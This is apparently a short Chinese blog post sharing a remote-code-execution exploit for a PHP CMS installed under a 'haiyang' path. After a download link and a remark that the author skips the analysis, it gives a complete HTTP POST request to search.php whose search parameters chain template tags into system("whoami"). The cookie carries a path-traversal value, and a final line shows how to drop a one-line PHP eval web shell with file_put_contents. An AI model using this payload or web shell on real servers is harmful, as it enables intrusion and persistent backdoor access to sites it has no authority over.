测试下载地址：https://pan.baidu.com/s/1jHQBKFk
至于分析实在是看的一脸懵逼就不累赘了。直接上exp
POST /haiyang/upload/search.php HTTP/1.1
Host: 192.168.238.128
Proxy-Connection: keep-alive
Content-Length: 215
Cache-Control: max-age=0
Origin: http://192.168.238.128
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.84 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://192.168.238.128/haiyang/upload/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: UM_distinctid=16565cd71170-0f958914b42ee6-182e1503-1fa400-16565cd7124c81; page_iframe_url=http://192.168.238.128/metlnfo6/index.php?lang=cn&pageset=1; CNZZDATA1670348=cnzz_eid%3D464899233-1535006876-%26ntime%3D1535203680; PHPSESSID=u8mab2qiucod179boc2ai9t7a2; re_url=http%3A%2F%2F192.168.238.128%2Fm6%2F%2Fadmin%2Fapp%2Fbatch%2Fcsvup.php%3FfileField%3Dtest-1%26flienamecsv%3D..%2F..%2F..%2Fconfig%2Finstall.lock searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&&ver=OST[9]))&9[]=syste&9[]=m("whoami");
可以将后面的改用file_put_contents("1.php","<?php eval($_POST[1]);?>")